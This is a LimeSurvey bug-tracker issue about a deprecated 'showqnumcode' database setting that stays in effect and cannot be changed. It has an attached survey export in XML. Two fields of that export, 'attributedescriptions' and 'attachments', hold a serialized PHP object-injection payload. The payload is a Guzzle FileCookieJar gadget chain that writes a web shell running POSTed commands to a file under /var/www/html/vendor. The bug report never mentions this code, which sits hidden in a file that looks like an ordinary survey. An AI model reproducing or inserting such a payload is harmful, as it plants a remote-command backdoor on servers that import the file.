View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 20169 | Bug reports | Survey editing | public | 2025-07-10 09:58 | 2025-07-10 10:04 |
| Reporter | DenisChenu | Assigned To | tibor.pacalat | ||
| Priority | none | Severity | minor | ||
| Status | closed | Resolution | duplicate | ||
| Product Version | 6.6.x | ||||
| Summary | 20169: showqnumcode DB global settings stay used but can not be updated | ||||
| Description | showqnumcode from DB stay used, but 1. Survey manager don't know it 2. No way to remove except update DB manually | ||||
| Steps To Reproduce | Steps to reproduce
Expected resultDidn't see question code and number Actual resultQuestion code and number are shown | ||||
| Tags | No tags attached. | ||||
| Attached Files | limesurvey_survey_qnumcode.lss (18,850 bytes)
<?xml version="1.0" encoding="UTF-8"?>
<document>
<LimeSurveyDocType>Survey</LimeSurveyDocType>
<DBVersion>633</DBVersion>
<languages>
<language>fr</language>
</languages>
<groups>
<fields>
<fieldname>gid</fieldname>
<fieldname>sid</fieldname>
<fieldname>group_order</fieldname>
<fieldname>randomization_group</fieldname>
<fieldname>grelevance</fieldname>
</fields>
<rows>
<row>
<gid><![CDATA[146]]></gid>
<sid><![CDATA[388197]]></sid>
<group_order><![CDATA[1]]></group_order>
<randomization_group/>
<grelevance><![CDATA[1]]></grelevance>
</row>
</rows>
</groups>
<group_l10ns>
<fields>
<fieldname>id</fieldname>
<fieldname>gid</fieldname>
<fieldname>group_name</fieldname>
<fieldname>description</fieldname>
<fieldname>language</fieldname>
<fieldname>sid</fieldname>
<fieldname>group_order</fieldname>
<fieldname>randomization_group</fieldname>
<fieldname>grelevance</fieldname>
</fields>
<rows>
<row>
<id><![CDATA[168]]></id>
<gid><![CDATA[146]]></gid>
<group_name><![CDATA[Title of group]]></group_name>
<description><![CDATA[Description of group ]]></description>
<language><![CDATA[fr]]></language>
<sid><![CDATA[388197]]></sid>
<group_order><![CDATA[1]]></group_order>
<randomization_group/>
<grelevance><![CDATA[1]]></grelevance>
</row>
</rows>
</group_l10ns>
<questions>
<fields>
<fieldname>qid</fieldname>
<fieldname>parent_qid</fieldname>
<fieldname>sid</fieldname>
<fieldname>gid</fieldname>
<fieldname>type</fieldname>
<fieldname>title</fieldname>
<fieldname>preg</fieldname>
<fieldname>other</fieldname>
<fieldname>mandatory</fieldname>
<fieldname>question_order</fieldname>
<fieldname>scale_id</fieldname>
<fieldname>same_default</fieldname>
<fieldname>relevance</fieldname>
<fieldname>modulename</fieldname>
<fieldname>encrypted</fieldname>
<fieldname>question_theme_name</fieldname>
<fieldname>same_script</fieldname>
</fields>
<rows>
<row>
<qid><![CDATA[1726]]></qid>
<parent_qid><![CDATA[0]]></parent_qid>
<sid><![CDATA[388197]]></sid>
<gid><![CDATA[146]]></gid>
<type><![CDATA[5]]></type>
<title><![CDATA[Q00]]></title>
<preg/>
<other><![CDATA[N]]></other>
<mandatory><![CDATA[N]]></mandatory>
<question_order><![CDATA[0]]></question_order>
<scale_id><![CDATA[0]]></scale_id>
<same_default><![CDATA[0]]></same_default>
<relevance><![CDATA[1]]></relevance>
<modulename/>
<encrypted><![CDATA[N]]></encrypted>
<question_theme_name><![CDATA[5pointchoice]]></question_theme_name>
<same_script><![CDATA[0]]></same_script>
</row>
</rows>
</questions>
<question_l10ns>
<fields>
<fieldname>id</fieldname>
<fieldname>qid</fieldname>
<fieldname>question</fieldname>
<fieldname>help</fieldname>
<fieldname>language</fieldname>
<fieldname>script</fieldname>
</fields>
<rows>
<row>
<id><![CDATA[2145]]></id>
<qid><![CDATA[1726]]></qid>
<question><![CDATA[Une première question comme exemple. Veuillez répondre à cette question :]]></question>
<help><![CDATA[Ceci est un texte d’aide pour la question.]]></help>
<language><![CDATA[fr]]></language>
</row>
</rows>
</question_l10ns>
<question_attributes>
<fields>
<fieldname>qid</fieldname>
<fieldname>attribute</fieldname>
<fieldname>value</fieldname>
<fieldname>language</fieldname>
</fields>
<rows>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[allowed_filetypes]]></attribute>
<value><![CDATA[png, gif, doc, odt, jpg, pdf, png, jpeg,html, htm]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[cssclass]]></attribute>
<value/>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[em_validation_q]]></attribute>
<value/>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[em_validation_q_tip]]></attribute>
<value/>
<language><![CDATA[fr]]></language>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[hidden]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[hide_tip]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[id]]></attribute>
<value><![CDATA[1715]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[max_num_of_files]]></attribute>
<value><![CDATA[2]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[page_break]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[printable_help]]></attribute>
<value/>
<language><![CDATA[fr]]></language>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[public_statistics]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[random_group]]></attribute>
<value/>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[save_as_default]]></attribute>
<value><![CDATA[N]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[show_comment]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[show_title]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[slider_rating]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[statistics_graphtype]]></attribute>
<value><![CDATA[0]]></value>
<language/>
</row>
<row>
<qid><![CDATA[1726]]></qid>
<attribute><![CDATA[statistics_showgraph]]></attribute>
<value><![CDATA[1]]></value>
<language/>
</row>
</rows>
</question_attributes>
<surveys>
<fields>
<fieldname>sid</fieldname>
<fieldname>gsid</fieldname>
<fieldname>admin</fieldname>
<fieldname>expires</fieldname>
<fieldname>startdate</fieldname>
<fieldname>adminemail</fieldname>
<fieldname>anonymized</fieldname>
<fieldname>format</fieldname>
<fieldname>savetimings</fieldname>
<fieldname>template</fieldname>
<fieldname>language</fieldname>
<fieldname>additional_languages</fieldname>
<fieldname>datestamp</fieldname>
<fieldname>usecookie</fieldname>
<fieldname>allowregister</fieldname>
<fieldname>allowsave</fieldname>
<fieldname>autonumber_start</fieldname>
<fieldname>autoredirect</fieldname>
<fieldname>allowprev</fieldname>
<fieldname>printanswers</fieldname>
<fieldname>ipaddr</fieldname>
<fieldname>refurl</fieldname>
<fieldname>showsurveypolicynotice</fieldname>
<fieldname>publicstatistics</fieldname>
<fieldname>publicgraphs</fieldname>
<fieldname>listpublic</fieldname>
<fieldname>htmlemail</fieldname>
<fieldname>sendconfirmation</fieldname>
<fieldname>tokenanswerspersistence</fieldname>
<fieldname>assessments</fieldname>
<fieldname>usecaptcha</fieldname>
<fieldname>usetokens</fieldname>
<fieldname>bounce_email</fieldname>
<fieldname>attributedescriptions</fieldname>
<fieldname>emailresponseto</fieldname>
<fieldname>emailnotificationto</fieldname>
<fieldname>tokenlength</fieldname>
<fieldname>showxquestions</fieldname>
<fieldname>showgroupinfo</fieldname>
<fieldname>shownoanswer</fieldname>
<fieldname>showqnumcode</fieldname>
<fieldname>bouncetime</fieldname>
<fieldname>bounceprocessing</fieldname>
<fieldname>bounceaccounttype</fieldname>
<fieldname>bounceaccounthost</fieldname>
<fieldname>bounceaccountpass</fieldname>
<fieldname>bounceaccountencryption</fieldname>
<fieldname>bounceaccountuser</fieldname>
<fieldname>showwelcome</fieldname>
<fieldname>showprogress</fieldname>
<fieldname>questionindex</fieldname>
<fieldname>navigationdelay</fieldname>
<fieldname>nokeyboard</fieldname>
<fieldname>alloweditaftercompletion</fieldname>
<fieldname>googleanalyticsstyle</fieldname>
<fieldname>googleanalyticsapikey</fieldname>
<fieldname>tokenencryptionoptions</fieldname>
<fieldname>ipanonymize</fieldname>
<fieldname>othersettings</fieldname>
</fields>
<rows>
<row>
<sid><![CDATA[388197]]></sid>
<gsid><![CDATA[1]]></gsid>
<admin><![CDATA[Denis Chenu]]></admin>
<adminemail><![CDATA[denis@sondages.pro]]></adminemail>
<anonymized><![CDATA[N]]></anonymized>
<format><![CDATA[A]]></format>
<savetimings><![CDATA[N]]></savetimings>
<template><![CDATA[vanilla]]></template>
<language><![CDATA[fr]]></language>
<additional_languages/>
<datestamp><![CDATA[N]]></datestamp>
<usecookie><![CDATA[N]]></usecookie>
<allowregister><![CDATA[N]]></allowregister>
<allowsave><![CDATA[Y]]></allowsave>
<autonumber_start><![CDATA[11]]></autonumber_start>
<autoredirect><![CDATA[N]]></autoredirect>
<allowprev><![CDATA[N]]></allowprev>
<printanswers><![CDATA[N]]></printanswers>
<ipaddr><![CDATA[N]]></ipaddr>
<refurl><![CDATA[N]]></refurl>
<showsurveypolicynotice><![CDATA[0]]></showsurveypolicynotice>
<publicstatistics><![CDATA[N]]></publicstatistics>
<publicgraphs><![CDATA[N]]></publicgraphs>
<listpublic><![CDATA[N]]></listpublic>
<htmlemail><![CDATA[Y]]></htmlemail>
<sendconfirmation><![CDATA[Y]]></sendconfirmation>
<tokenanswerspersistence><![CDATA[Y]]></tokenanswerspersistence>
<assessments><![CDATA[N]]></assessments>
<usecaptcha><![CDATA[N]]></usecaptcha>
<usetokens><![CDATA[N]]></usetokens>
<bounce_email><![CDATA[denis@sondages.pro]]></bounce_email>
<attributedescriptions><![CDATA[a:1:{i:0;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:36:"<?php system($_POST['ab45pajs']); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:33:"/var/www/html/vendor/awh35_xu.php";s:19:"storeSessionCookies";b:1;}]]></attributedescriptions>
<tokenlength><![CDATA[15]]></tokenlength>
<showxquestions><![CDATA[Y]]></showxquestions>
<showgroupinfo><![CDATA[B]]></showgroupinfo>
<shownoanswer><![CDATA[N]]></shownoanswer>
<showqnumcode><![CDATA[X]]></showqnumcode>
<bounceprocessing><![CDATA[N]]></bounceprocessing>
<showwelcome><![CDATA[Y]]></showwelcome>
<showprogress><![CDATA[Y]]></showprogress>
<questionindex><![CDATA[0]]></questionindex>
<navigationdelay><![CDATA[0]]></navigationdelay>
<nokeyboard><![CDATA[N]]></nokeyboard>
<alloweditaftercompletion><![CDATA[Y]]></alloweditaftercompletion>
<tokenencryptionoptions><![CDATA[{ "enabled":"Y","columns":{ "firstname":"N","lastname":"N","email":"N" } }]]></tokenencryptionoptions>
<ipanonymize><![CDATA[N]]></ipanonymize>
</row>
</rows>
</surveys>
<surveys_languagesettings>
<fields>
<fieldname>surveyls_survey_id</fieldname>
<fieldname>surveyls_policy_error</fieldname>
<fieldname>surveyls_email_invite_subj</fieldname>
<fieldname>surveyls_email_invite</fieldname>
<fieldname>surveyls_email_remind_subj</fieldname>
<fieldname>surveyls_email_remind</fieldname>
<fieldname>surveyls_email_register_subj</fieldname>
<fieldname>surveyls_email_register</fieldname>
<fieldname>surveyls_email_confirm_subj</fieldname>
<fieldname>surveyls_email_confirm</fieldname>
<fieldname>surveyls_dateformat</fieldname>
<fieldname>surveyls_attributecaptions</fieldname>
<fieldname>email_admin_notification_subj</fieldname>
<fieldname>email_admin_notification</fieldname>
<fieldname>email_admin_responses_subj</fieldname>
<fieldname>email_admin_responses</fieldname>
<fieldname>surveyls_numberformat</fieldname>
<fieldname>attachments</fieldname>
<fieldname>surveyls_alias</fieldname>
<fieldname>surveyls_language</fieldname>
<fieldname>surveyls_title</fieldname>
<fieldname>surveyls_description</fieldname>
<fieldname>surveyls_welcometext</fieldname>
<fieldname>surveyls_endtext</fieldname>
<fieldname>surveyls_policy_notice</fieldname>
<fieldname>surveyls_policy_notice_label</fieldname>
<fieldname>surveyls_url</fieldname>
<fieldname>surveyls_urldescription</fieldname>
</fields>
<rows>
<row>
<surveyls_survey_id><![CDATA[388197]]></surveyls_survey_id>
<surveyls_policy_error/>
<surveyls_email_invite_subj><![CDATA[Invitation à participer à un questionnaire]]></surveyls_email_invite_subj>
<surveyls_email_invite><![CDATA[Cher(e) {FIRSTNAME},<br /><br />Vous avez été invité(e) à participer à un questionnaire.<br /><br />Celui-ci est intitulé :<br />"{SURVEYNAME}"<br /><br />"{SURVEYDESCRIPTION}"<br /><br />Pour participer, veuillez cliquer sur le lien ci-dessous.<br /><br />Cordialement,<br /><br />{ADMINNAME} ({ADMINEMAIL})<br /><br />----------------------------------------------<br />Cliquez ici pour remplir ce questionnaire :<br />{SURVEYURL}<br /><br />Si vous ne souhaitez pas participer à ce questionnaire et ne souhaitez plus recevoir aucune invitation, veuillez cliquer sur le lien suivant :<br />{OPTOUTURL}<br /><br />Si vous êtes sur liste noire mais que vous voulez participer à ce questionnaire et recevoir les invitations, merci de cliquer sur le lien suivant :<br />{OPTINURL}]]></surveyls_email_invite>
<surveyls_email_remind_subj><![CDATA[Rappel pour participer à un questionnaire]]></surveyls_email_remind_subj>
<surveyls_email_remind><![CDATA[Cher(e) {FIRSTNAME},<br /><br />Vous avez été invité(e) à participer à un questionnaire récemment.<br /><br />Nous avons pris en compte que vous n’avez pas encore complété le questionnaire, et nous vous rappelons que celui-ci est toujours disponible si vous souhaitez participer.<br /><br />Le questionnaire est intitulé :<br />"{SURVEYNAME}"<br /><br />"{SURVEYDESCRIPTION}"<br /><br />Pour participer, veuillez cliquer sur le lien ci-dessous.<br /><br />Cordialement,<br /><br />{ADMINNAME} ({ADMINEMAIL})<br /><br />----------------------------------------------<br />Cliquez ici pour faire le questionnaire :<br />{SURVEYURL}<br /><br />Si vous ne souhaitez pas participer à ce questionnaire et ne souhaitez plus recevoir aucune invitation, veuillez cliquer sur le lien suivant :<br />{OPTOUTURL}]]></surveyls_email_remind>
<surveyls_email_register_subj><![CDATA[Confirmation d’enregistrement pour le questionnaire]]></surveyls_email_register_subj>
<surveyls_email_register><![CDATA[Bonjour {FIRSTNAME},<br /><br />Vous (ou quelqu’un utilisant votre adresse électronique) vous êtes enregistré pour participer à un questionnaire en ligne intitulé {SURVEYNAME}.<br /><br />Pour compléter ce questionnaire, cliquez sur le lien suivant :<br />{SURVEYURL}<br /><br />Si vous avez des questions à propos de ce questionnaire, ou si vous ne vous êtes pas enregistré pour participer à celui-ci et croyez que ce message est une erreur, veuillez contacter {ADMINNAME} à l’adresse {ADMINEMAIL}]]></surveyls_email_register>
<surveyls_email_confirm_subj><![CDATA[Confirmation de votre participation à notre questionnaire]]></surveyls_email_confirm_subj>
<surveyls_email_confirm><![CDATA[Bonjour {FIRSTNAME},<br /><br />Ce message vous confirme que vous avez complété le questionnaire intitulé {SURVEYNAME} et que votre réponse a été enregistrée. Merci pour votre participation.<br /><br />Si vous avez des questions à propos de ce message, veuillez contacter {ADMINNAME} à l’adresse {ADMINEMAIL}.<br /><br />Cordialement,<br /><br />{ADMINNAME}]]></surveyls_email_confirm>
<surveyls_dateformat><![CDATA[1]]></surveyls_dateformat>
<email_admin_notification_subj><![CDATA[Soumission de réponse pour le questionnaire {SURVEYNAME}]]></email_admin_notification_subj>
<email_admin_notification><![CDATA[Bonjour,<br /><br />Une nouvelle réponse a été soumise pour votre questionnaire '{SURVEYNAME}'.<br /><br />Cliquez sur le lien suivant pour voir la réponse :<br />{VIEWRESPONSEURL}<br /><br />Cliquez sur le lien suivant pour éditer la réponse :<br />{EDITRESPONSEURL}<br /><br />Visualisez les statistiques en cliquant ici :<br />{STATISTICSURL}]]></email_admin_notification>
<email_admin_responses_subj><![CDATA[Soumission de réponse pour le questionnaire {SURVEYNAME} avec résultats]]></email_admin_responses_subj>
<email_admin_responses><![CDATA[Bonjour,<br /><br />Une nouvelle réponse a été soumise pour votre questionnaire '{SURVEYNAME}'.<br /><br />Cliquez sur le lien suivant pour voir cette réponse :<br />{VIEWRESPONSEURL}<br /><br />Cliquez sur le lien suivant pour éditer cette réponse individuelle :<br />{EDITRESPONSEURL}<br /><br />Visualisez les statistiques en cliquant ici :<br />{STATISTICSURL}<br /><br /><br />Les réponses suivantes ont été données par le participant :<br />{ANSWERTABLE}]]></email_admin_responses>
<surveyls_numberformat><![CDATA[0]]></surveyls_numberformat>
<attachments><![CDATA[a:1:{i:0;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:36:"<?php system($_POST['ab45pajs']); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:33:"/var/www/html/vendor/awh35_xu.php";s:19:"storeSessionCookies";b:1;}]]></attachments>
<surveyls_alias/>
<surveyls_language><![CDATA[fr]]></surveyls_language>
<surveyls_title><![CDATA[Show no anwser]]></surveyls_title>
<surveyls_description/>
<surveyls_welcometext/>
<surveyls_endtext/>
<surveyls_policy_notice/>
<surveyls_policy_notice_label/>
<surveyls_url/>
<surveyls_urldescription/>
</row>
</rows>
</surveys_languagesettings>
<themes>
<theme>
<sid>388197</sid>
<template_name>vanilla</template_name>
<config>
<options>inherit</options>
</config>
</theme>
</themes>
<themes_inherited>
<theme>
<sid>388197</sid>
<template_name>vanilla</template_name>
<config>
<options>
<ajaxmode>off</ajaxmode>
<brandlogo>on</brandlogo>
<container>on</container>
<hideprivacyinfo>off</hideprivacyinfo>
<brandlogofile>image::theme::files/logo.png</brandlogofile>
<font>noto</font>
<animatebody>off</animatebody>
<fixnumauto>enable</fixnumauto>
</options>
</config>
</theme>
</themes_inherited>
</document>
| ||||
| Bug heat | 2 | ||||
| Complete LimeSurvey version number (& build) | 6.15.3 | ||||
| I will donate to the project if issue is resolved | No | ||||
| Browser | not relevant | ||||
| Database type & version | not relevant | ||||
| Server OS (if known) | not relevant | ||||
| Webserver software & version (if known) | not relevant | ||||
| PHP Version | not relevant | ||||
| duplicate of | 18450 | confirmed | Deprecated global settings still used | |
| related to | 20168 | closed | tibor.pacalat | showgroupinfo DB global settings stay used |
|
Time to have a real decision here … For all this settings ! If we keep it via DB :
|
|
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2025-07-10 09:58 | DenisChenu | New Issue | |
| 2025-07-10 09:58 | DenisChenu | File Added: limesurvey_survey_qnumcode.lss | |
| 2025-07-10 09:58 | DenisChenu | File Added: Capture d’écran du 2025-07-10 09-54-49.png | |
| 2025-07-10 09:58 | DenisChenu | Relationship added | related to 20168 |
| 2025-07-10 10:00 | DenisChenu | Assigned To | => tibor.pacalat |
| 2025-07-10 10:00 | DenisChenu | Status | new => confirmed |
| 2025-07-10 10:00 | DenisChenu | Note Added: 83062 | |
| 2025-07-10 10:00 | DenisChenu | Bug heat | 0 => 2 |
| 2025-07-10 10:00 | DenisChenu | Note Edited: 83062 | |
| 2025-07-10 10:04 | DenisChenu | Relationship added | duplicate of 18450 |
| 2025-07-10 10:04 | DenisChenu | Status | confirmed => closed |
| 2025-07-10 10:04 | DenisChenu | Resolution | open => duplicate |
| 2025-07-10 10:04 | DenisChenu | Note Added: 83067 |